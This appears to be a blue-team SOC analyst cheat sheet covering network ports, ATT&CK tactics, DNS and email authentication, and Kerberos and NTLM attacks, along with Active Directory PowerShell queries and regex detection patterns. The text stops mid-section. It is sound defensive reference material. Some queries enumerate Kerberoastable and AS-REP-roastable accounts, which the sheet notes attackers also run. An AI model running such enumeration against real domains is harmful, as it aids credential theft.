CSOC Analyst Blue Team v2.0
Section 01
Fundamentals
01.01CIA Triad

The foundational model for classifying the three core properties of information security. Every security control maps to at least one of these pillars.

🔒

Confidentiality

Protection of information from unauthorized access or disclosure. Only authorized parties can read the data.

  • Encryption (AES-256, TLS)
  • Multi-factor authentication
  • Access control lists
  • Data classification

Integrity

Ensures data is accurate, complete, and unaltered by unauthorized parties during storage or transit.

  • Hashing (SHA-256, MD5)
  • Digital Signatures
  • HMAC
  • Digital Certificates

Availability

Ensures authorized users can access systems and data when needed. DDoS attacks directly target this pillar.

  • Redundancy & failover
  • Backups (3-2-1 rule)
  • DDoS mitigation
  • Patch management
ℹ️Extended models: Some frameworks add Non-repudiation (you cannot deny performing an action) and Authentication to form the Parkerian Hexad (Confidentiality, Possession, Integrity, Authenticity, Availability, Utility).
01.02Common Ports

Ports 0–1023 are Well-Known (IANA-assigned). 1024–49151 are Registered. 49152–65535 are Dynamic/Ephemeral. Attackers frequently use non-standard ports or tunnel over common ports (80/443) to evade detection.

Port(s)ProtocolServiceBlue Team Notes
20/21TCPFTPUnencrypted; flag cleartext credentials. Use SFTP (22) or FTPS (990) instead.
22TCPSSHMonitor for brute-force (Event 4625). Key-based auth preferred over passwords.
23TCPTelnetCompletely unencrypted. Should not exist on any modern network — alert on sight.
25TCPSMTPOutbound SMTP from workstations (not mail servers) = likely malware/spam bot.
53UDP/TCPDNSDNS over UDP for queries (<512B); TCP for zone transfers. Monitor for DNS tunneling.
67/68UDPDHCPMonitor for rogue DHCP servers on the network.
80TCPHTTPPlaintext. Commonly used for C2 callbacks. Inspect User-Agent and destination.
110TCPPOP3Unencrypted. Use POP3S (995) instead.
123UDPNTPTime sync critical for log correlation. >5 min drift breaks Kerberos.
135TCPMS-RPCRequired for WMI, DCOM. Frequently abused for lateral movement.
137-139TCP/UDPNetBIOSLegacy. Monitor for LLMNR/NBT-NS poisoning attacks.
143TCPIMAPUnencrypted. Use IMAPS (993).
161/162UDPSNMPSNMPv1/v2 use community strings (cleartext). Upgrade to SNMPv3.
389TCPLDAPCleartext directory queries. Monitor for LDAP enumeration (BloodHound queries).
443TCPHTTPSEncrypted. Most C2 frameworks now use HTTPS. Inspect certificates and SNI.
445TCPSMBCritical target. EternalBlue (MS17-010), WannaCry. Disable SMBv1 everywhere.
514UDPSyslogPlaintext log shipping. Tampering is trivial — use TLS syslog (6514) for SIEM.
636TCPLDAPSLDAP over TLS — prefer this over 389.
1433TCPMSSQLShould not be internet-facing. Common target for SQL injection and lateral movement.
3306TCPMySQLExternally exposed MySQL = critical finding.
3389TCPRDPTop ransomware entry point. Disable if not needed. Alert on internet-facing RDP.
4444TCPMetasploit defaultDefault Metasploit listener. Alert on any internal connection to port 4444.
5985/5986TCPWinRMWindows Remote Management (HTTP/HTTPS). Abused for lateral movement (Evil-WinRM).
6379TCPRedisNo auth by default — should never be internet-exposed.
8080/8443TCPHTTP/S AltCommon for C2 frameworks (Cobalt Strike default: 8080). Monitor unusual beaconing.
9200TCPElasticsearchNo auth by default. Externally exposed = critical data leak risk.
01.03Cyber Kill Chain

Developed by Lockheed Martin. Defenders should aim to interrupt the chain as early as possible — ideally at Reconnaissance or Delivery. Later stages indicate deeper compromise.

01
Recon
OSINT, scanning, phishing for info
02
Weaponize
Build payload, exploit, dropper
03
Delivery
Email, web, USB, watering hole
04
Exploit
Trigger vulnerability
05
Install
Persistence mechanisms
06
C2
Command & control channel
07
Actions
Exfiltrate, encrypt, destroy
💡Diamond Model (alternative): Maps adversary, capability, infrastructure, and victim as four vertices of a diamond. Better for attribution analysis. MITRE ATT&CK is more granular and preferred for detection engineering.
01.04MITRE ATT&CK

A globally accessible knowledge base of adversary TTPs based on real-world observations. ATT&CK = Adversarial Tactics, Techniques, and Common Knowledge. The Enterprise matrix covers 14 tactics.

IDTacticKey TechniquesDetection Focus
TA0043ReconnaissanceT1595 Active Scanning · T1592 Host Info · T1598 Phishing for InfoHoneypots, threat intel feeds
TA0042Resource DevT1583 Acquire Infra · T1584 Compromise Infra · T1585 Establish AccountsThreat intel, new domain registration
TA0001Initial AccessT1566 Phishing · T1133 External Remote Services · T1190 Exploit Public AppEmail gateway, EDR, VPN logs
TA0002ExecutionT1059 Scripting (PowerShell/Bash) · T1047 WMI · T1203 Client ExploitPowerShell logging, script block logging
TA0003PersistenceT1547 Autostart · T1053 Scheduled Task · T1543 Create/Modify ServiceRegistry monitoring, Task Scheduler events
TA0004Privilege EscT1003 Credential Dump · T1068 Exploit for Priv Esc · T1548 Bypass UACLSASS access events, 4672/4688 logs
TA0005Defense EvasionT1070 Log Clearing · T1036 Masquerading · T1055 Process InjectionEvent log service stops, parent/child anomalies
TA0006Credential AccessT1555 Password Stores · T1110 Brute Force · T1558 Kerberoasting4768/4769 Kerberos events, 4625 failed logons
TA0007DiscoveryT1018 Remote System Discovery · T1083 File Discovery · T1046 Port ScanNet commands, nmap patterns in network logs
TA0008Lateral MovementT1021 Remote Services (RDP/SMB/WinRM) · T1075 Pass-the-HashLogon type 3, unusual admin$ access
TA0009CollectionT1113 Screen Capture · T1115 Clipboard · T1560 Archive Collected DataUnusual compression tools, large file creation
TA0011C2T1071 App Layer Protocol · T1573 Encrypted Channel · T1572 DNS TunnelingBeaconing patterns, DNS query volume anomalies
TA0010ExfiltrationT1041 Exfil over C2 · T1567 Exfil over Web Services · T1048 Exfil Alt ProtocolData volume to cloud, unusual upload patterns
TA0040ImpactT1486 Ransomware · T1490 Inhibit Recovery · T1561 Disk WipeVSS deletion (vssadmin), mass file encryption
01.05DDoS & Bot Protection

DDoS (Distributed Denial of Service) attacks flood systems to deny legitimate access. This section covers L3/L4 volumetric attacks, L7 application-layer attacks, and the platforms used to detect and absorb them. Use this to understand the distinction between network-level and application-level protection, and to identify the right mitigation layer during an incident.

Attack TypeLayerDescriptionMitigation
SYN FloodL3/L4Half-open TCP connections exhaust server state tablesSYN cookies, rate limiting, DDoS scrubbing
UDP FloodL3/L4Spoofed UDP packets to random ports consume bandwidthIngress filtering, rate limiting
ICMP FloodL3/L4Ping flood overwhelms target with ICMP Echo RequestsBlock/rate-limit ICMP at perimeter
DNS AmplificationL3/L4Spoofed DNS queries with large responses (amplification factor ~50x)Response Rate Limiting (RRL), BCP38
NTP AmplificationL3/L4Monlist command returns up to 600 peers (amplification ~556x)Disable monlist, upgrade NTP
HTTP FloodL7Massive legitimate-looking GET/POST requestsWAF rate limiting, CAPTCHA
SlowlorisL7Holds many partial HTTP connections open indefinitelyConnection timeouts, reverse proxy
Credential StuffingL7Automated testing of breached username/password combosMFA, CAPTCHA, IP reputation, account lockout
Layered Protection Matrix
ProtectionLayerNetwork DDoSApp DDoSBotsMethod
DDoS ScrubbingL3/L4Traffic scrubbing, BGP blackhole
WAFL7PartialRule-based HTTP filtering
Bot ManagementL7PartialBehavioral analysis, fingerprinting, JS challenges
CDN + AnycastL3–L7PartialAbsorb/distribute traffic globally
01.06DNS

DNS is a hierarchical, distributed naming system. It's also a top C2 channel — DNS tunneling, DGA domains, and fast-flux are common attacker techniques.

Hierarchy & Server Types
TypeRoleKey Facts
DNS RecursorClient-facing resolver; queries on behalf of clientsOperated by ISPs (8.8.8.8 Google, 1.1.1.1 Cloudflare). Caches responses per TTL.
Root NameserverTop of hierarchy; directs to TLD servers13 logical root server addresses (a–m.root-servers.net), but hundreds of physical instances via anycast.
TLD NameserverManages domains under one TLD (.com, .org, .sg)Operated by registries (Verisign for .com). Does not store final records.
Authoritative NSFinal authority; holds actual DNS records for a domainReturns definitive answers. Two types: primary (read/write) and secondary (read-only replica).
DNS Record Types
RecordDescriptionBlue Team Note
ADomain → IPv4 addressMonitor for sudden A record changes (DNS hijacking)
AAAADomain → IPv6 addressDon't ignore IPv6 — malware often tunnels via IPv6
NSAuthoritative nameservers for the domainNS record changes = possible domain hijacking
CNAMEAlias → canonical domain nameLong CNAME chains can obscure C2 infrastructure
MXMail exchange serversValidate with SPF/DKIM/DMARC. Rogue MX = mail interception.
TXTArbitrary text — SPF, DKIM, DMARC, domain verificationCan be abused for C2 data exfil (TXT record tunneling)
SRVHost and port for specific servicesUsed by Kerberos, SIP, XMPP — monitor for unexpected SRV records
PTRReverse lookup: IP → domain nameCheck PTR mismatch — phishing infrastructure often lacks valid PTR
SOAZone start of authority — serial, refresh, retry, expireRequired for every zone. Serial number increments on each change.
CAASpecifies authorized Certificate Authorities for the domainSet CAA records to restrict unauthorized cert issuance
DNS Threat Indicators
ThreatIndicatorDetection Method
DNS TunnelingHigh volume of long TXT/NULL queries; high entropy subdomains; unusual query typesDNS query length anomaly, entropy analysis
DGA (Domain Gen Algorithm)Large volumes of NXDOMAIN responses; algorithmically generated random-looking domainsNXDOMAIN rate, domain entropy scoring
Fast-Flux DNSRapidly changing A records (TTL <300s) with many IPs; associated with botnetsTTL monitoring, IP count per domain
DNS HijackingUnexpected change in NS or A records for monitored domainsPassive DNS comparison, zone monitoring
01.07Email Security

Email is the #1 initial access vector. SPF, DKIM, and DMARC are the three DNS-based controls that together prevent spoofing and unauthorised sending. Understanding these helps you triage phishing emails, investigate mail headers, and validate whether an email claiming to be from a domain is legitimate.

SPF — Sender Policy Framework

SPF defines which mail servers are authorised to send email on behalf of a domain. It works by publishing a DNS TXT record listing permitted sending IPs. The receiving mail server checks the envelope sender (Return-Path / MAIL FROM) against this list — not the visible From: header.

ℹ️What SPF checks: The IP address of the sending mail server against the domain in the MAIL FROM (envelope sender, also called Return-Path). It does not check the From: header a user sees. This is why SPF alone doesn't stop display-name spoofing.
QualifierResultBehaviourUse Case
+ (default)PASSServer is authorised to sendAll legitimate senders
-FAIL (hard)Server is NOT authorised — rejectTight enforcement: -all
~SOFTFAILProbably not authorised — accept but flagTransition: ~all while deploying
?NEUTRALNo assertion — treat as no SPFTesting only
MechanismWhat it matchesExample
ip4: / ip6:Specific IP address or CIDR rangeip4:203.0.113.0/24
mxAll IPs in the domain's MX recordsmx (implicit domain)
aAll IPs in the domain's A/AAAA recordsa:mail.example.com
include:Recursively check another domain's SPFinclude:_spf.google.com
allCatch-all — matches everything-all (end of record)
example.com TXT "v=spf1 mx ip4:203.0.113.0/24 include:_spf.google.com -all"
# Reading left to right: check MX records, then the /24, then Google's SPF.
# If none match: FAIL (hard fail) — reject the email.

v=spf1 -all    → Domain sends NO email (null sender, bounce addresses)
v=spf1 +all    → ⚠️ Anyone can send — never use this in production
⚠️SPF Limitations: (1) Breaks on forwarding — the forwarding server's IP won't be in the original SPF record. (2) SPF checks MAIL FROM, not the From: header — a spoofed display name still passes SPF. (3) Max 10 DNS lookups — too many include: chains cause PermError.
DKIM — DomainKeys Identified Mail

DKIM adds a cryptographic signature to outgoing emails. The sending server signs the message with a private key; the public key is published in DNS. The receiving server verifies the signature — proving the email came from the claimed domain and was not modified in transit.

ℹ️What DKIM checks: The cryptographic signature in the DKIM-Signature: header against the public key in DNS. The signature covers specified headers (including From:) and the email body. A pass confirms: (1) the email was sent by someone holding the private key for that domain, and (2) the signed content was not modified in transit.
DKIM TagMeaningExample
v=Version (always DKIM1)v=DKIM1
d=Signing domain (must align with From: for DMARC)d=example.com
s=Selector — which key pair to use (rotate periodically)s=selector1
h=Headers included in signatureh=from:to:subject:date
bh=Hash of email body (base64)Detects body tampering
b=The actual cryptographic signature (base64)Verified against DNS public key
k=Key type (rsa or ed25519)k=rsa (ed25519 preferred for new)
selector1._domainkey.example.com TXT "v=DKIM1; k=rsa; p=MIGfMA0GCSqGSIb3DQEBAQUA..."
# DNS lookup path: {selector}._domainkey.{d= domain}
# p= is the base64-encoded RSA or ed25519 public key
# Rotate selectors periodically — old selector can be retired by removing the DNS record
⚠️DKIM does NOT prevent spoofing alone. An attacker can create their own valid DKIM signature for attacker.com. DKIM only proves the signature domain hasn't been tampered with — not that it matches the From: header. DMARC alignment is what ties DKIM to the From: domain.
DMARC — Domain-based Message Authentication, Reporting & Conformance

DMARC is the policy layer that ties SPF and DKIM together. It tells receiving servers what to do when SPF or DKIM fail, and requires that at least one of them aligns with the From: header domain. DMARC also provides visibility via aggregate reports (rua) and forensic reports (ruf).

ℹ️What DMARC checks: (1) Does SPF pass AND does the Return-Path domain align with the From: domain? OR (2) Does DKIM pass AND does the DKIM d= domain align with the From: domain? If at least one alignment passes, DMARC passes. If neither passes, the policy (none/quarantine/reject) is applied.
TagMeaningExample
p=Policy for the domain itselfp=reject
sp=Policy for subdomains (defaults to p= if omitted)sp=quarantine
pct=Percentage of mail subject to policy (100 = all)pct=100
rua=URI for aggregate reports (daily XML summaries)rua=mailto:dmarc@example.com
ruf=URI for forensic reports (per-failure message copies)ruf=mailto:fail@example.com
aspf=SPF alignment mode: r=relaxed (default), s=strictaspf=r
adkim=DKIM alignment mode: r=relaxed (default), s=strictadkim=r
PolicyAction on FailureStage
p=noneNo action — monitoring only, reports still sent🟡 Initial deployment — start here
p=quarantineFailing mail goes to spam/junk folder🟠 Intermediate enforcement
p=rejectFailing mail rejected at SMTP — never delivered🟢 Full enforcement — target state
_dmarc.example.com TXT "v=DMARC1; p=reject; sp=reject; pct=100; aspf=r; adkim=r; rua=mailto:dmarc-agg@example.com; ruf=mailto:dmarc-fail@example.com"

# Alignment modes:
# relaxed (r): subdomain match allowed — mail.example.com aligns with example.com
# strict (s):  exact match required   — mail.example.com does NOT align with example.com
🔍Investigating a suspicious email: Check the Authentication-Results: header. It shows SPF/DKIM/DMARC results inline. A phishing email from a spoofed domain will typically show dmarc=fail or have no DKIM signature from the claimed domain. The Received-SPF: header shows which IP was checked against which domain's SPF record.
01.08HTTP Status Codes

HTTP status codes are the fastest way to triage web traffic anomalies in proxy and firewall logs. Use this section during threat hunting to spot reconnaissance (4xx spikes), exploitation attempts (500s), and redirect chains. Patterns in status codes across time often indicate scanners, fuzzing tools, or successful exploitation.

CodeMeaningSecurity Relevance
1xx — Informational
100Continue
101Switching ProtocolsWebSocket upgrade — monitor for C2 over WebSocket
2xx — Success
200OKNormal. C2 beacons typically receive 200.
201CreatedResource created — check REST API for unauthorized creates
204No ContentOften used as C2 heartbeat response (no body)
3xx — Redirection
301Moved PermanentlyWatch for open redirects used in phishing chains
302Found (Temporary)Common in phishing redirect chains
304Not ModifiedCache hit — no body returned
4xx — Client Error
400Bad RequestMalformed request — could indicate fuzzing/scanning
401UnauthorizedMissing/invalid auth — volume of 401s = brute-force indicator
403ForbiddenValid auth but insufficient permission
404Not FoundHigh 404 rate from single IP = directory traversal / scanner
405Method Not AllowedCould indicate verb tampering (PUT/DELETE against REST API)
429Too Many RequestsRate limit triggered — verify rate limiting is enforced
5xx — Server Error
500Internal Server ErrorSpike of 500s may indicate exploitation attempt (SQLi, command injection)
502Bad GatewayUpstream service unavailable
503Service UnavailableCould indicate active DDoS or resource exhaustion
01.09IPv4 Subnet

IPv4 subnetting determines which IP addresses belong together on a network segment. Use this section to quickly determine a host's network boundary, identify mis-routed traffic, or validate whether lateral movement crossed subnet boundaries — which is a significant escalation indicator.

PrefixSubnet MaskTotal IPsUsable IPsClass
/8255.0.0.016,777,21616,777,214A
/16255.255.0.065,53665,534B
/24255.255.255.0256254C
/25255.255.255.128128126
/26255.255.255.1926462
/27255.255.255.2243230
/28255.255.255.2401614
/29255.255.255.24886
/30255.255.255.25242Point-to-point links
/31255.255.255.25420 (RFC 3021)Point-to-point (RFC 3021 allows /31)
/32255.255.255.25511 (host route)Single host
ℹ️Fact check: /31 networks have 2 IPs and 0 traditionally usable (network + broadcast), but RFC 3021 allows them for point-to-point links where both addresses can be used as host addresses.
01.10Private IP Addresses

Private IP ranges are reserved for internal networks and should never appear as source/destination in internet-routed traffic. Use this to identify RFC 1918 addresses in logs, spot traffic that should not be leaving your network, and detect potential NAT misconfigurations or tunneling attempts.

Range / CIDRDescriptionNotes
10.0.0.0/8Private Class A16M addresses — enterprise networks
172.16.0.0/12Private Class B172.16.x.x – 172.31.x.x (1M addresses)
192.168.0.0/16Private Class C65K addresses — home/SOHO networks
127.0.0.0/8Loopback127.0.0.1 = localhost. Never routed.
169.254.0.0/16Link-local / APIPAAuto-assigned when DHCP fails. LLMNR/mDNS attacks exploit this range.
100.64.0.0/10Carrier-grade NAT (CGN)RFC 6598 — used by ISPs for CGN. Not for internal enterprise use.
192.0.2.0/24TEST-NET-1Documentation only (RFC 5737). Should never appear in real traffic.
198.51.100.0/24TEST-NET-2Documentation only (RFC 5737).
203.0.113.0/24TEST-NET-3Documentation only (RFC 5737).
224.0.0.0/4Multicast239.0.0.0/8 = local multicast scope. 224.0.0.1 = all hosts.
240.0.0.0/4ReservedClass E — reserved for future use (RFC 1112).
255.255.255.255/32Limited broadcastNever forwarded by routers.
01.11OSI Model

The 7-layer model defines how communication occurs between systems. Each layer attacks are mapped to aid SOC analysts in identifying where a threat operates.

7
Application
Data
HTTP, FTP, DNS, SMTP, SNMP. User-facing services.
SQL Injection · XSS · Phishing · C2 Beaconing
6
Presentation
Data
Data translation, encryption (TLS/SSL), compression.
SSL Stripping · POODLE · BEAST
5
Session
Data
Manages sessions between applications. RPC, NetBIOS, PPTP.
Session Hijacking · Pass-the-Hash
4
Transport
Segment
TCP/UDP. End-to-end delivery, port numbers, flow control.
SYN Flood · Port Scanning · Slowloris
3
Network
Packet
IP, ICMP, IPsec. Logical addressing and routing.
ICMP Flood · IP Spoofing · Smurf Attack
2
Data Link
Frame
Ethernet, Wi-Fi, MAC addressing, ARP. Node-to-node transfer.
ARP Spoofing · MAC Flooding · VLAN Hopping
1
Physical
Bit
Cables, fiber, radio signals, hubs. Raw bit transmission.
Wiretapping · Physical Tampering · Jamming
01.13NTLM

NT LAN Manager — Microsoft's legacy challenge-response authentication. Still prevalent for backwards compatibility but vulnerable to multiple attack classes.

🚨Security concern: NTLM is vulnerable to Pass-the-Hash, NTLM Relay (Responder, ntlmrelayx), and offline cracking. NTLMv1 is critically weak. Disable via GPO and enforce Kerberos wherever possible. Block outbound NTLM to external hosts.
StepDirectionDescription
1. NEGOTIATEClient → ServerClient announces NTLM capabilities and supported features
2. CHALLENGEServer → ClientServer sends 8-byte random nonce (challenge)
3. AUTHENTICATEClient → ServerClient sends NT response = HMAC-MD5(NT hash, challenge). Username sent in cleartext.
4. VERIFYServer → DCServer forwards credentials to DC via Netlogon secure channel for validation
⚠️NTLM Relay Attack: Attacker intercepts NTLM auth (via LLMNR/NBT-NS poisoning) and relays it to a different service in real-time — no cracking needed. Mitigate with SMB signing, LDAP signing, and EPA (Extended Protection for Authentication).
01.14Kerberos

Ticket-based network authentication protocol. Passwords never travel over the wire. The KDC (Key Distribution Center) runs on the Domain Controller and combines the Authentication Service (AS) and Ticket Granting Service (TGS).

Authentication Flow
Client Workstation KDC (Domain Controller) AS + TGS services Target Service e.g. fileserver 1. AS-REQ Pre-auth: timestamp encrypted with user's NT hash 2. AS-REP TGT (enc. krbtgt hash) + Session Key (enc. user hash) 3. TGS-REQ TGT + SPN of target service → request service ticket 4. TGS-REP Service Ticket (enc. service acct hash) + service session key 5. AP-REQ Service Ticket + Authenticator → present to service 6. AP-REP Service validates ticket → grants access (mutual auth) AS-REP Roasting No pre-auth required Kerberoasting Request TGS → crack offline Golden Ticket Forge TGT w/ krbtgt hash
StepMessageFrom → ToEncrypted WithAttack Vector
1AS-REQClient → KDCUser NT hash (timestamp pre-auth)AS-REP Roast if pre-auth disabled
2AS-REPKDC → ClientTGT: krbtgt hash · Session key: user hashGolden Ticket: forge with stolen krbtgt
3TGS-REQClient → KDCTGT (krbtgt hash)Kerberoasting: request any SPN ticket
4TGS-REPKDC → ClientTicket: svc acct hash · Key: session keyKerberoasting: crack svc ticket offline
5AP-REQClient → ServiceService account hashSilver Ticket: forge with svc acct hash
6AP-REPService → ClientService session key
Key Error Codes (Event 4771)
CodeMeaningCommon Cause & Action
0x06Client not found in databaseBad username — typo, or new account not yet replicated to DC
0x07Server not found in databaseNew computer account not replicated yet; pre-Win2000 machine
0x0CKDC policy rejects requestWorkstation restriction or logon hours violation
0x12Credentials revokedAccount disabled / expired / locked out / outside logon hours
0x17Password expiredUser must reset — check if service account
0x18Pre-auth failedWrong password — high volume = brute force or password spray
0x20Ticket expiredNormal for computer accounts; investigate if user accounts
0x25Clock skew too great>5 min drift breaks Kerberos — check NTP sync on host and DC
01.15TCP vs UDP

TCP and UDP behave fundamentally differently — TCP is connection-oriented (traceable), UDP is connectionless (harder to attribute). Use this to understand why certain attacks prefer UDP (DDoS amplification), why C2 may use HTTPS (TCP/443), and how to interpret connection state in firewall and netflow logs.

TCP — Transmission Control Protocol

  • ConnectionConnection-oriented (3-way handshake)
  • ReliabilityGuaranteed delivery, retransmits lost packets
  • OrderingPackets reassembled in sequence
  • Flow ControlYes (sliding window)
  • Header Size20–60 bytes (variable with options)
  • SpeedSlower (overhead for reliability)
  • Use CasesHTTP/S, SSH, FTP, SMTP, RDP, SMB
  • Half-closeYes — one side can close while other continues

UDP — User Datagram Protocol

  • ConnectionConnectionless — no handshake
  • ReliabilityBest-effort — no guarantee, no retransmit
  • OrderingNo ordering — app must handle if needed
  • Flow ControlNo
  • Header Size8 bytes (fixed)
  • SpeedFaster (minimal overhead)
  • Use CasesDNS, DHCP, NTP, SNMP, VoIP, gaming, QUIC
  • Half-closeN/A — no connection state
ℹ️Fact check: DNS uses UDP for queries and TCP for both zone transfers AND queries where responses exceed 512 bytes (or 4096 bytes with EDNS0). TCP is also used when the TC (truncation) flag is set in a UDP response.
01.16Cyber Attack Techniques

A reference index of the most common offensive techniques mapped to their detection methods and defensive controls. Use this section during investigation to quickly look up how a suspected technique works, what evidence it leaves, and what controls should have caught it. Pair with MITRE ATT&CK for technique IDs.

TechniqueDescriptionDetection / Prevention
MalwareSoftware designed to harm — viruses, trojans, ransomware, spywareEDR/AV, application allowlisting, sandboxing
DoS / DDoSOverwhelm system/network to deny legitimate accessDDoS scrubbing, WAF, rate limiting, CDN
Man-in-the-MiddleIntercept and possibly modify traffic between two partiesTLS everywhere, certificate pinning, MFA
SQL InjectionInject malicious SQL via input fields to manipulate database queriesParameterized queries, WAF, input validation
XSS (Cross-Site Scripting)Inject malicious scripts into pages viewed by other usersCSP headers, output encoding, WAF
CSRFTrick authenticated users into submitting unintended requestsCSRF tokens, SameSite cookie attribute
Social EngineeringManipulate humans to divulge info or take actionsSecurity awareness training, MFA, email gateways
Zero-Day ExploitExploit unknown vulnerability before patch existsDefense-in-depth, behavioral detection, network segmentation
Phishing / Spear PhishingFraudulent email to steal credentials or deploy malware. Spear phishing = targeted.Email gateway, DMARC, user training, MFA
VishingVoice phishing over phone to extract info or redirect paymentsVerification procedures, staff training
SmishingSMS phishing with malicious links or phone numbersMobile security policies, user training
Credential StuffingAutomated testing of breached username/password combos across servicesMFA, CAPTCHA, IP reputation, account lockout, Have I Been Pwned
Supply Chain AttackCompromise software/hardware through a vendor to reach downstream targetsSoftware composition analysis, vendor risk management, code signing
DNS Spoofing / Cache PoisoningCorrupt DNS cache to redirect users to malicious IPDNSSEC, DNS over HTTPS (DoH), encrypted DNS
LLMNR / NBT-NS PoisoningRespond to broadcast name resolution to capture NTLM hashesDisable LLMNR/NBT-NS via GPO, enforce SMB signing
CryptojackingHijack CPU cycles to mine cryptocurrency without consentEDR process monitoring, outbound traffic to mining pools, CPU anomalies
Watering HoleCompromise websites frequently visited by target groupBrowser isolation, web proxy, threat intel
TyposquattingRegister domains similar to popular sites to capture mistyped URLsDomain monitoring, browser warnings, user training
01.17Types of Malware

A taxonomy of malware families by their behaviour and goals. Understanding malware types enables faster triage — a fileless implant requires memory forensics, ransomware requires VSS investigation, a RAT requires C2 traffic analysis. Use this to scope the right response actions for each malware class.

Ransomware
LockBit · RYUK · BlackCat (ALPHV)

Encrypts files and demands ransom. Modern variants also exfiltrate data (double extortion).

Fileless Malware
Astaroth · PowerSploit · Cobalt Strike

Lives in memory only — no files on disk. Evades signature-based AV. Uses LOLBins.

Spyware
Pegasus · DarkHotel · FinFisher

Silently monitors activity — keystrokes, screenshots, audio, location.

Adware
Fireball · Superfish · Gator

Serves unwanted ads; may also track browsing. Usually low severity but indicates poor controls.

Trojan
Emotet · TrickBot · Agent Tesla

Disguises as legitimate software. Once running, downloads additional payloads or creates backdoors.

Worm
Stuxnet · WannaCry · Conficker

Self-replicating — spreads automatically via network shares, email, vulnerabilities. No user action required.

Virus
ILOVEYOU · Melissa · CIH

Attaches to host program — requires user execution to activate and spread. Modifies legitimate files.

Rootkit
Zacinlo · TDSS · Necurs

Hides malware presence from OS and security tools. Kernel-level rootkits are hardest to detect/remove.

Keylogger
Olympic Vision · HawkEye · NanoCore

Records every keystroke to harvest credentials, credit cards, and sensitive data.

Botnet
Mirai · Emotet · Necurs

Army of compromised machines (bots) under C2. Used for DDoS, spam, credential stuffing.

RAT
njRAT · AsyncRAT · DarkComet

Remote Access Trojan — gives attacker full remote control: shell, file access, webcam, mic.

Cryptojacker
XMRig · Coinhive · PowerGhost

Uses victim CPU/GPU to mine crypto (usually Monero). Detectable via CPU spikes.

Section 02
Utilities
02.01Clear Network Cache

DNS cache poisoning and stale records can cause resolution failures or redirect traffic to attacker infrastructure. These commands flush local and system DNS caches across platforms. Use during incident response when investigating DNS-based C2, cache poisoning attempts, or after blocking malicious domains to ensure resolution changes take effect immediately.

ipconfig /flushdns       :: Flush DNS resolver cache
ipconfig /release        :: Release current DHCP lease
ipconfig /renew          :: Request new DHCP lease
arp -d *                 :: Clear ARP cache (Windows)
netsh winsock reset      :: Reset Winsock catalog (requires reboot)
netsh int ip reset       :: Reset TCP/IP stack (requires reboot)
# Linux equivalents
sudo systemd-resolve --flush-caches   # systemd-resolved
sudo service nscd restart             # nscd
sudo killall -HUP mDNSResponder       # macOS
02.02Active Directory PowerShell

PowerShell is the primary tool for both AD administration and AD enumeration/exploitation. These cmdlets cover legitimate admin tasks and the exact commands attackers run for reconnaissance. Knowing both sides lets you distinguish admin activity from attacker activity in PowerShell logs and SIEM alerts.

# ── USER QUERIES ──
Get-ADUser -Identity $user -Properties *
Get-ADUser -Filter {Enabled -eq $false} | Select Name, SamAccountName
Get-ADUser -Filter {PasswordNeverExpires -eq $true} | Select Name
Get-ADUser -Identity $user -Properties PasswordLastSet, LastLogonDate

# ── LOCKED / DISABLED ──
Search-ADAccount -LockedOut | Select Name, LockedOut, LastLogonDate
Search-ADAccount -AccountDisabled -UsersOnly | Select Name, SamAccountName
Unlock-ADAccount -Identity $user

# ── GROUP QUERIES ──
Get-ADGroupMember -Identity "Domain Admins" -Recursive | Select Name, SamAccountName
Get-ADPrincipalGroupMembership -Identity $user | Select Name
Get-ADGroup -Filter {Name -like "Admin*"} | Select Name

# ── COMPUTER QUERIES ──
Get-ADComputer -Identity $hostname -Properties *
Get-ADComputer -Filter {OperatingSystem -Like "*Server*"} | Select Name, OperatingSystem
Test-ComputerSecureChannel -ComputerName $hostname

# ── DOMAIN INFO ──
Get-ADDomain
Get-ADDomainController -Filter * | Select Name, IPV4Address, IsGlobalCatalog
Get-ADForest

# ── DETECT KERBEROASTABLE ACCOUNTS ──
Get-ADUser -Filter {ServicePrincipalName -ne "$null" -and Enabled -eq $true} `
  -Properties ServicePrincipalName | Select Name, ServicePrincipalName

# ── DETECT AS-REP ROASTABLE ACCOUNTS ──
Get-ADUser -Filter {DoesNotRequirePreAuth -eq $true -and Enabled -eq $true} | Select Name

# ── GPO ──
Get-GPO -All | Select DisplayName, GpoStatus
Invoke-GPUpdate -Computer $hostname -Force
02.03Regex Cheat Sheet

Regular expressions are used across SIEM queries, log parsers, EDR rules, YARA signatures, and Sigma rules. This cheat sheet covers the most common patterns needed for writing detection rules and parsing log data. Use it when building custom detection logic or extracting indicators from unstructured log output.

ExpressionDescriptionExample
^Start of string/line^ERROR — lines starting with ERROR
$End of string/line\.log$ — strings ending in .log
.Any single character (except newline)1.2.3.4 matches "1x2y3z4"
*Zero or more of precedingab* → "a", "ab", "abbb"
+One or more of precedingab+ → "ab", "abbb" (not "a")
?Zero or one (optional)https?:// → http or https
|ORERROR|WARN|CRIT
\s / \SWhitespace / non-whitespace\S+@\S+\.\S+ → email-like
\d / \DDigit / non-digit\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3} → IPv4
\w / \WWord char [a-zA-Z0-9_] / non-word\w+ → username
\bWord boundary\badmin\b → "admin" not "administrator"
[abc]Character class[A-Fa-f0-9]{32} → MD5 hash
[^abc]Negated character class[^\d] → non-digit
{n,m}Between n and m repetitions\d{4}-\d{2}-\d{2} → date
(...)Capture group(\d+\.\d+\.\d+\.\d+) → capture IP
(?:...)Non-capture groupGroup without capturing
(?=...)Positive lookahead\w+(?=\.exe) → executable name
(?!...)Negative lookahead(?!192\.168)\d+\.\d+ → non-private
Useful Security Patterns
# IPv4 address
\b(?:\d{1,3}\.){3}\d{1,3}\b

# MD5 hash
\b[a-fA-F0-9]{32}\b

# SHA256 hash
\b[a-fA-F0-9]{64}\b

# Windows file path
[A-Za-z]:\\(?:[^\\/:*?"<>|\r\n]+\\)*[^\\/:*?"<>|\r\n]*

# Email address
[a-zA-Z0-9._%+\-]+@[a-zA-Z0-9.\-]+\.[a-zA-Z]{2,}

# Base64 encoded string (common in C2/malware)
(?:[A-Za-z0-9+\/]{4})*(?:[A-Za-z0-9+\/]{2}==|[A-Za-z0-9+\/]{3}=|[A-Za-z0-9+\/]{4})

# PowerShell encoded command (threat hunting)
-[Ee][Nn][Cc][Oo][Dd][Ee][Dd][Cc][Oo][Mm][Mm][Aa][Nn][Dd]
02.04Linux Commands

Linux command-line proficiency is essential for investigating Linux endpoints, containers, and servers. This section covers the commands used for triage, log analysis, process investigation, and network inspection on Linux systems. Use during live response on Linux hosts or when reviewing bash history and audit logs.

System & Process
uname -a                          # Kernel + system info
